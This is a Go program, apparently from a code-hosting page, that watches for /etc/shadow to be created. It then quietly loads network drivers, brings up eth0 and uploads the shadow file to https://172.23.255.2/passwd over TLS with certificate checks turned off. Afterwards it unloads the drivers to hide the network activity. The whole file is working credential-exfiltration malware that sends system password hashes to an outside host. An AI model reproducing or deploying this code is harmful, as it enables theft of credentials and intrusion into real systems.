157 lines
3.6 KiB
Go
157 lines
3.6 KiB
Go
package main
|
|
|
|
import (
|
|
"bytes"
|
|
"crypto/tls"
|
|
"fmt"
|
|
"io"
|
|
"log"
|
|
"math/rand"
|
|
"mime/multipart"
|
|
"net/http"
|
|
"os"
|
|
"os/exec"
|
|
"path/filepath"
|
|
"time"
|
|
|
|
"gopkg.in/fsnotify.v1"
|
|
)
|
|
|
|
const (
|
|
DestHost = "172.23.255.2"
|
|
URLShadow = "https://172.23.255.2/passwd"
|
|
PathToWatch = "/etc/shadow"
|
|
WatchedNotify = fsnotify.Create
|
|
)
|
|
|
|
var (
|
|
NetDrivers = [2]string{"e1000", "e1000e"}
|
|
)
|
|
|
|
func sendFile(field, path string) error {
|
|
tr := &http.Transport{
|
|
TLSClientConfig: &tls.Config{
|
|
InsecureSkipVerify: true,
|
|
},
|
|
}
|
|
client := &http.Client{
|
|
Timeout: 20 * time.Second,
|
|
Transport: tr,
|
|
}
|
|
|
|
body := &bytes.Buffer{}
|
|
writer := multipart.NewWriter(body)
|
|
fw, err := writer.CreateFormFile(field, filepath.Base(path))
|
|
if err != nil {
|
|
return err
|
|
}
|
|
file, err := os.Open(path)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
_, err = io.Copy(fw, file)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
writer.Close()
|
|
req, err := http.NewRequest("POST", URLShadow, bytes.NewReader(body.Bytes()))
|
|
if err != nil {
|
|
return err
|
|
}
|
|
req.Header.Set("Content-Type", writer.FormDataContentType())
|
|
rsp, err := client.Do(req)
|
|
if err != nil {
|
|
return err
|
|
}
|
|
if rsp.StatusCode != http.StatusOK {
|
|
return fmt.Errorf("Request failed with response code: %d", rsp.StatusCode)
|
|
}
|
|
return nil
|
|
}
|
|
|
|
func main() {
|
|
// seed the rand package with time
|
|
rand.Seed(time.Now().UnixNano())
|
|
|
|
watcher, err := fsnotify.NewWatcher()
|
|
if err != nil {
|
|
log.Fatal(err)
|
|
}
|
|
defer watcher.Close()
|
|
|
|
if err := watcher.Add(filepath.Dir(PathToWatch)); err != nil {
|
|
log.Fatal("Unable to watch requested file:", err)
|
|
}
|
|
|
|
log.Println("Ready! Waiting for events on", PathToWatch)
|
|
for {
|
|
select {
|
|
case ev := <-watcher.Events:
|
|
if d, err := os.Lstat(ev.Name); err == nil && ev.Op&WatchedNotify == WatchedNotify && d.Mode().IsRegular() && d.Name() == filepath.Base(PathToWatch) {
|
|
log.Println("Treating event:", ev, "for", ev.Name)
|
|
|
|
hasModprobe := false
|
|
if err := exec.Command("/bin/sh", "-c", "lsmod | grep -q e1000").Run(); err == nil {
|
|
log.Println("No need to modprobe, device already loaded")
|
|
hasModprobe = true
|
|
} else {
|
|
log.Println("modprobe some devices")
|
|
|
|
// modprobe
|
|
for _, drv := range NetDrivers {
|
|
log.Println("/sbin/modprobe", drv)
|
|
err = exec.Command("/sbin/modprobe", drv).Run()
|
|
if err != nil {
|
|
log.Println("Unable to modprobe", drv, err.Error())
|
|
}
|
|
}
|
|
}
|
|
|
|
// Wait for the eth device
|
|
for n := 0; n < 8 && exec.Command("/sbin/ip", "link", "show", "dev", "eth0").Run() != nil; n++ {
|
|
log.Println("eth0 not present, waiting for it...")
|
|
time.Sleep(250 * time.Millisecond)
|
|
}
|
|
|
|
if err := exec.Command("/bin/ping", "-c", "1", "-W", "2", DestHost).Run(); err == nil {
|
|
log.Println("The remote host ping, no need to set it up.")
|
|
} else {
|
|
// ip link set eth0 up
|
|
err = exec.Command("/sbin/ip", "link", "set", "eth0", "up").Run()
|
|
if err != nil {
|
|
log.Println("Unable to ip link set eth0 up:", err.Error())
|
|
}
|
|
|
|
// ip link set eth0 up
|
|
err = exec.Command("/sbin/udhcpc", "-i", "eth0").Run()
|
|
if err != nil {
|
|
log.Println("Unable to udhcpc eth0:", err.Error())
|
|
}
|
|
}
|
|
|
|
// Send data
|
|
err = sendFile("shadow", PathToWatch)
|
|
if err != nil {
|
|
log.Println("Unable to send file:", err.Error())
|
|
continue
|
|
}
|
|
|
|
if !hasModprobe {
|
|
log.Println("Unload driver")
|
|
// Remove driver
|
|
for _, drv := range NetDrivers {
|
|
err = exec.Command("/sbin/modprobe", "-r", drv).Run()
|
|
if err != nil {
|
|
log.Println("Unable to remove modprobe", drv, err.Error())
|
|
}
|
|
}
|
|
}
|
|
|
|
log.Println("Done, see you later")
|
|
} else {
|
|
log.Println("Skipped event:", ev, "for", ev.Name)
|
|
}
|
|
}
|
|
}
|
|
}
|